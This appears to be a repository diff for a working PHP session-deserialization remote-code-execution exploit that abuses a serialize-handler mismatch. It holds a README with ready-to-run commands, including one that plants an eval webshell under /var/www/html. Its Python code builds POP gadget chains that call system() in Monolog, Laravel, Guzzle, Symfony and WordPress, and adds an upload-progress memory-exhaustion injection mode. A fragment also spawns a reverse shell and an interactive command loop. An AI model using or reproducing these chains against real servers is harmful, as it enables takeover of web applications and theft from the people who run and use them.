php_code = (cmd_payload() if args.cmd
else reverse_shell_payload(args.lhost, args.lport))
if args.oom:
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
f"fields)")
else:
print(f"[*] Race window: {args.window}s per prefix, "
f"{len(prefixes)} prefixes")
for attempt in range(1, args.attempts + 1):
for prefix in prefixes:
print(f"[*] Attempt {attempt}/{args.attempts} "
f"against {prefix} ...")
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
continue
kind, sid, url, text = r
if kind == "rce":
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
if args.cmd:
out = run_cmd(host, port, tls, path, prefix, sid,
args.cmd, oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(f"[+] {args.cmd}\n{out}" if out is not None
else "[!] exec failed (race lost, retry)")
else:
print(f"[*] Reverse shell payload executed — check "
f"listener on {args.lhost}:{args.lport}")
while True:
try:
c = input("shell> ").strip()
except EOFError:
break
if not c:
continue
out = run_cmd(host, port, tls, path, prefix, sid, c,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(out if out is not None else "[!] exec failed")
return
print(f" [+] {prefix}: served but not executable "
f"(session source disclosure only)")
print("[!] No executable prefix found. Precondition likely missing: "
"save_path not web-served, or security.limit_extensions is set.")
if __name__ == "__main__":
main()
+3
View File
@@ -0,0 +1,3 @@
vendor/
__pycache__/
composer.lock
+237
View File
@@ -0,0 +1,237 @@
# Session Deserialization RCE via Handler Mismatch
Remote code execution through PHP's `session.serialize_handler` mismatch.
No LFI required. No FPM dependency. Works on any SAPI.
## How It Works
PHP supports multiple session serialization formats. The two relevant ones:
- `php` (the default): stores session data as `key|serialized_value`
- `php_serialize`: stores session data as a single `serialize()`d array
When one endpoint writes session data using `php_serialize` and another
reads it using the `php` handler, the pipe character `|` inside a
serialized string is misinterpreted as a key/value delimiter. This causes
PHP to call `unserialize()` on attacker-controlled data when
`session_start()` runs on the second endpoint.
### Attack flow
```
1. Attacker POSTs to endpoint A (php_serialize handler):
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
2. PHP stores this in the session file as:
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
3. Attacker GETs endpoint B (php handler) with the same session ID.
session_start() reads the file and splits on |:
key = a:1:{s:4:"data";s:550:"
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
PHP calls unserialize() on the value.
4. The deserialized object's __destruct method fires,
triggering the POP gadget chain for RCE.
```
### What makes a target vulnerable
The exploit requires ALL of the following:
1. **Two endpoints with different session serialize handlers.** One must use
`php_serialize`, the other must use the default `php`. PHP's own default
is `php` for both, so this mismatch only occurs when a framework or
application explicitly changes the handler for some endpoints.
2. **Shared session storage.** Both endpoints must read/write the same
session files (same `session.save_path`). This is the default when
both run under the same PHP installation.
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
must exist in classes that PHP has loaded (via autoloader or require).
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
through magic methods (__destruct, __wakeup, __toString, etc.).
### Where this mismatch occurs in practice
- **Laravel** sets `session.serialize_handler = php_serialize` in its
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
admin scripts, health checks, legacy code) uses the PHP default `php`.
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
applications on the same server may not.
- **Shared hosting** where multiple PHP applications share the same session
save path but use different frameworks.
- **Mixed codebases** where old and new code coexist on the same domain,
with the new code using a framework and the old code using raw PHP sessions.
A single-application deployment where every endpoint uses the same handler
is NOT vulnerable to this attack.
## Injection Modes
### inject (primary)
The target has an endpoint that stores POST data into `$_SESSION` using
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
a POST value. A second request to a `php`-handler endpoint triggers
deserialization.
```bash
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
```
### progress (no app session storage needed)
Uses `session.upload_progress` to inject the `|` character via the upload
filename field. No application-level session writing needed. Combined with
the OOM crash from CVE-2026-109618 to persist past cleanup.
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
can only use public properties (no protected/private property serialization).
```bash
python3 exploit.py --mode progress \
--write-url http://target/any.php \
--trigger-url http://target/default.php \
--chain wordpress-cmd --cmd 'id'
```
## Built-in POP Chains
Each chain is tested end-to-end through the full HTTP exploit flow
on PHP 8.3 against the listed library version.
### Current versions (work on latest releases)
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
### Legacy versions
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
### Why some chains have version ceilings
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
in `createClassListener()`, which calls `$this->container->make()` on a null
container. The RCE22 chain routes through `league/commonmark` `Environment`
instead.
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
`LogicException` on deserialization.
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
`BadMethodCallException`.
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
7.x core.
### Custom chains
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
and base64 (auto-detected).
```bash
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain-file chain.bin
# Or base64:
phpggc Laravel/RCE22 system id -b > chain.b64
python3 exploit.py ... --chain-file chain.b64
```
## Usage
```bash
# File write webshell (Monolog 3.x, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain monolog3-fw \
--write-path /var/www/html/shell.php
# Direct command execution (Laravel 10+, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
# Custom shell code:
python3 exploit.py ... --chain monolog3-fw \
--write-path /var/www/html/s.php \
--shell-code '<?php eval($_POST["x"]); ?>'
# Progress mode (no POST-to-session endpoint needed):
python3 exploit.py --mode progress \
--write-url http://target/any_endpoint.php \
--trigger-url http://target/default_handler.php \
--chain wordpress-cmd --cmd 'id'
```
## Options
```
--mode {inject,progress} Injection mode (default: inject)
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
--write-url URL Any endpoint for progress mode injection
--trigger-url URL Endpoint using default php handler (triggers deserialization)
--chain CHAIN Built-in POP chain name
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
--write-path PATH File path for fw chains (webshell destination)
--shell-code CODE Custom PHP code for fw chains
--cmd CMD Command for cmd chains
--fields N OOM pressure fields for progress mode (default: 30000)
--field-size N Bytes per OOM field (default: 512)
```
## Test Environment
The test endpoints used for verification:
`test_serialize.php` (inject endpoint, uses php_serialize):
```php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
```
`test_trigger.php` (trigger endpoint, uses default php handler):
```php
<?php
require 'vendor/autoload.php'; // loads framework classes
session_start(); // deserializes session data
```
The mismatch between `php_serialize` on the first and `php` (default) on the
second is what enables the attack.
+6
View File
@@ -0,0 +1,6 @@
{
"require": {
"monolog/monolog": "1.27.1",
"fakerphp/faker": "^1.24"
}
}
+995
View File
@@ -0,0 +1,995 @@
#!/usr/bin/env python3
"""
PHP Session Deserialization RCE via Handler Mismatch
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
Exploits the combination of:
1. session.upload_progress writes attacker data to session files
2. A session.serialize_handler mismatch between two endpoints
3. A POP gadget chain in the application's autoloaded classes
When one endpoint uses php_serialize and another uses the default php
handler, the pipe character '|' injected into session data is
misinterpreted as a key/value delimiter, causing arbitrary
deserialization of attacker-controlled objects.
Two injection modes:
inject (primary, full POP chain support)
Target has an endpoint that stores POST data in $_SESSION via
php_serialize handler. Attacker sends |<serialized_chain> as
a POST value. A second request to a php-handler endpoint
triggers deserialization when session_start() reads the file.
progress (no app involvement, limited chains)
Uses session.upload_progress to inject '|' via the upload
filename. No application session storage needed, but the
multipart parser truncates NULL bytes in filenames, so the
POP chain can only use public properties. Combined with
OOM crash (CVE-2026-109618) to persist past cleanup.
Handler mismatch is common in the wild:
- Laravel sets php_serialize in its bootstrap; any non-Laravel
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
uses the default php handler
- Symfony configures php_serialize; adjacent apps may not
- Mixed old/new codebases on shared hosting
Requirements:
- session.upload_progress.enabled = 1 (default, for progress mode)
- Two endpoints with different session.serialize_handler settings
- A POP gadget chain in autoloaded classes
- session.save_handler = files (default)
Built-in chains (--chain):
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
Custom chains (--chain-file):
phpggc Laravel/RCE1 system id > chain.bin
python3 exploit.py ... --chain-file chain.bin
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
Usage:
# Inject mode (most practical):
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw \\
--write-path /var/www/html/s.php
# Inject mode with direct command execution:
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
python3 exploit.py --mode progress \\
--write-url http://target/serialize.php \\
--trigger-url http://target/default.php \\
--chain-file chain_pub.bin
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
import urllib.parse
from urllib.parse import urlparse
# ═══════════════════════════════════════════════════════════════════════
# PHP serialization
# ═══════════════════════════════════════════════════════════════════════
def php_str(s):
if isinstance(s, str):
s = s.encode()
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
def php_int(n):
return b"i:" + str(n).encode() + b";"
def php_bool(v):
return b"b:" + (b"1" if v else b"0") + b";"
def php_null():
return b"N;"
def php_arr(entries):
body = b"".join(k + v for k, v in entries)
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
def php_obj(cls, props):
body = b"".join(k + v for k, v in props)
cn = cls.encode() if isinstance(cls, str) else cls
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
+ str(len(props)).encode() + b":{" + body + b"}")
def php_enum(cls, case):
label = f"{cls}:{case}"
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
def php_datetime_immutable():
from datetime import datetime, timezone
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
return php_obj("DateTimeImmutable", [
(php_str("date"), php_str(now)),
(php_str("timezone_type"), php_int(3)),
(php_str("timezone"), php_str("UTC")),
])
def prot(name):
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00*\x00" + n)
def priv(cls, name):
c = cls.encode() if isinstance(cls, str) else cls
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00" + c + b"\x00" + n)
# ═══════════════════════════════════════════════════════════════════════
# POP gadget chains
# ═══════════════════════════════════════════════════════════════════════
def _rce1_chain(func, param):
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
-> close()
-> $this->socket->close() socket = BufferHandler
BufferHandler::close -> flush
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
AbstractHandler::handleBatch -> foreach handle($record)
BufferHandler::handle -> call_user_func($processor, $record) for each processor
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
processors[1] = $func -> $func($param)
"""
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
# itself. This creates the self-referencing handler=$this that phpggc uses.
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
# with handler pointing back to the BufferHandler via reference.
record = php_arr([
(php_int(0), php_str(param)),
(php_str("level"), php_null()),
])
buf = php_obj("Monolog\\Handler\\BufferHandler", [
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
(prot("bufferSize"), php_int(-1)),
(prot("buffer"), php_arr([(php_int(0), record)])),
(prot("level"), php_null()),
(prot("initialized"), php_bool(True)),
(prot("bufferLimit"), php_int(-1)),
(prot("processors"), php_arr([
(php_int(0), php_str("current")),
(php_int(1), php_str(func)),
])),
])
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
(prot("socket"), buf),
])
def chain_monolog_fw(write_path, shell_code):
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system() with a printf command
that writes shell_code to write_path.
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return _rce1_chain("system", cmd)
def chain_monolog_cmd(cmd):
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system($cmd).
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
return _rce1_chain("system", cmd)
def chain_monolog3_fw(write_path, shell_code):
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
GroupHandler.__destruct (inherited from Handler)
-> close()
-> foreach $this->handlers: $handler->close()
DeduplicationHandler::close -> flush()
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
Written format: "timestamp:DEBUG:message\\n"
PHP ignores content before <?php, so the prefix is harmless.
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
as entry (array-typed handlers property) and DeduplicationHandler
as sink (file_put_contents with controlled path and message).
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
Symfony 6+, and many other frameworks).
"""
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
log_record = php_obj("Monolog\\LogRecord", [
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
(php_str("message"), php_str(shell_code_clean)),
(php_str("datetime"), php_datetime_immutable()),
])
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
(prot("deduplicationStore"), php_str(write_path)),
(prot("bufferSize"), php_int(1)),
(prot("buffer"), php_arr([(php_int(0), log_record)])),
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
])
return php_obj("Monolog\\Handler\\GroupHandler", [
(prot("handlers"), php_arr([(php_int(0), dedup)])),
])
def chain_laravel_cmd(cmd):
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Dispatcher::dispatch($event)
-> foreach $this->listeners[$event] as $listener: $listener($event)
-> system($cmd)
$this->event = $cmd (the command string)
$this->listeners[$cmd] = ['system']
Requires illuminate/events + illuminate/broadcasting
(always present in Laravel).
"""
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
(prot("listeners"), php_arr([
(php_str(cmd), php_arr([
(php_int(0), php_str("system")),
])),
])),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), dispatcher),
(prot("event"), php_str(cmd)),
])
def chain_laravel_fw(write_path, shell_code):
"""Laravel file write via system() (5.4.0-8.6.9+).
Same PendingBroadcast gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel_cmd(cmd)
def chain_laravel10_cmd(cmd):
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Environment::dispatch($event)
-> foreach listenerData as prioritized listeners
-> ListenerData->listener is ChainedBatchTruthTest
ChainedBatchTruthTest::__invoke($event)
-> call_user_func($this->callback, $event)
-> system($cmd)
Channel.__toString returns $this->name, so $event becomes the
command string when passed to system().
Requires illuminate/broadcasting + league/commonmark (both present
in all Laravel 10+ installations).
"""
env_cls = "League\\CommonMark\\Environment\\Environment"
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
ld_cls = "League\\CommonMark\\Event\\ListenerData"
truth_test = php_obj(
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
(prot("callback"), php_str("system")),
])
listener_data = php_obj(ld_cls, [
(priv(ld_cls, "event"),
php_str("\\Illuminate\\Broadcasting\\Channel")),
(priv(ld_cls, "listener"), truth_test),
])
plist = php_obj(list_cls, [
(priv(list_cls, "list"), php_arr([
(php_int(0), php_arr([(php_int(0), listener_data)])),
])),
])
environment = php_obj(env_cls, [
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
(priv(env_cls, "listenerData"), plist),
])
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
(php_str("name"), php_str(cmd)),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), environment),
(prot("event"), channel),
])
def chain_laravel10_fw(write_path, shell_code):
"""Laravel file write via system() (10.0-13.x+, current).
Same PendingBroadcast + CommonMark gadget, calls system() with a
write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel10_cmd(cmd)
def chain_guzzle_fw(write_path, data):
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
FileCookieJar.__destruct -> save()
-> file_put_contents($this->filename, json_encode(...))
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
The written file contains JSON wrapping around the payload.
PHP ignores everything before <?php, so a webshell embedded in the
Value field works when accessed via HTTP. Use single quotes in the
shell code to avoid JSON backslash escaping (double quotes become
\" in JSON output, which breaks PHP parsing).
Guzzle 8.0+ added __unserialize() that throws on deserialization.
Requires guzzlehttp/guzzle (extremely common HTTP client).
"""
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
(php_str("Expires"), php_int(1)),
(php_str("Discard"), php_bool(False)),
(php_str("Value"), php_str(data)),
])),
])
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
(php_int(0), cookie),
])),
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
])
return jar
def chain_symfony_cmd(cmd):
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
$fileHandles is a SortableIterator wrapping an ArrayObject:
SortableIterator implements IteratorAggregate
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
usort compares elements via call_user_func($a, $b)
ArrayObject contains [$function, $parameter]
-> call_user_func('system', $cmd)
Requires symfony/finder + symfony/process (present in all Symfony apps).
"""
arr = php_obj("ArrayObject", [
(php_int(0), php_str(cmd)),
(php_int(1), php_str("system")),
])
# ArrayObject serializes differently: uses C: format
# We need to use the C: custom serialization format for ArrayObject
# Use O: format (works for ArrayObject deserialization):
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
])
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
])
def chain_symfony_fw(write_path, shell_code):
"""Symfony file write via system() (2.6.0-4.4.18).
Same WindowsPipes gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_symfony_cmd(cmd)
def chain_wordpress_cmd(cmd):
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
WP_HTML_Token.__destruct
-> ($this->on_destroy)($this->bookmark_name)
-> system($cmd)
Uses only PUBLIC properties, so this chain works in progress mode
(no NULL bytes from protected/private property names).
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
"""
return php_obj("WP_HTML_Token", [
(php_str("bookmark_name"), php_str(cmd)),
(php_str("on_destroy"), php_str("system")),
])
def chain_wordpress_fw(write_path, shell_code):
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
Same gadget, calls system() with a write command.
Public properties only: works in progress mode.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_wordpress_cmd(cmd)
CHAINS = {
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
}
# ═══════════════════════════════════════════════════════════════════════
# HTTP helpers (raw sockets for binary payloads)
# ═══════════════════════════════════════════════════════════════════════
def tcp_connect(host, port, tls, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def extract_cookies(resp):
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def http_get(host, port, tls, path, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req + body_bytes)
resp = recv_all(sock, timeout)
sock.close()
return resp
# ═══════════════════════════════════════════════════════════════════════
# Progress mode: multipart with upload progress + OOM
# ═══════════════════════════════════════════════════════════════════════
def escape_filename(raw):
"""Escape bytes for Content-Disposition filename= quoted string.
NULL bytes are NOT supported (PHP truncates at \\x00)."""
out = b""
for byte in raw:
if byte == ord('"'):
out += b'\\"'
elif byte == ord('\\'):
out += b'\\\\'
elif byte == 0:
raise ValueError("NULL bytes cannot appear in multipart filenames")
else:
out += bytes([byte])
return out
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file_with_name(bnd, fieldname, filename_raw, content):
escaped = escape_filename(filename_raw)
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + fieldname
+ b'"; filename="' + escaped + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
fields=30000, fsize=512):
"""Inject chain via upload progress filename + OOM crash.
The filename contains |<chain>. PHP stores it in the upload
progress data in the session file. OOM crash skips cleanup,
leaving the poisoned session on disk.
NOTE: chain_bytes must not contain NULL bytes (multipart parser
limitation). Use only chains with public properties.
"""
bnd = b"----DESER" + os.urandom(8).hex().encode()
filename_payload = b"x|" + chain_bytes
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
return status_code(resp)
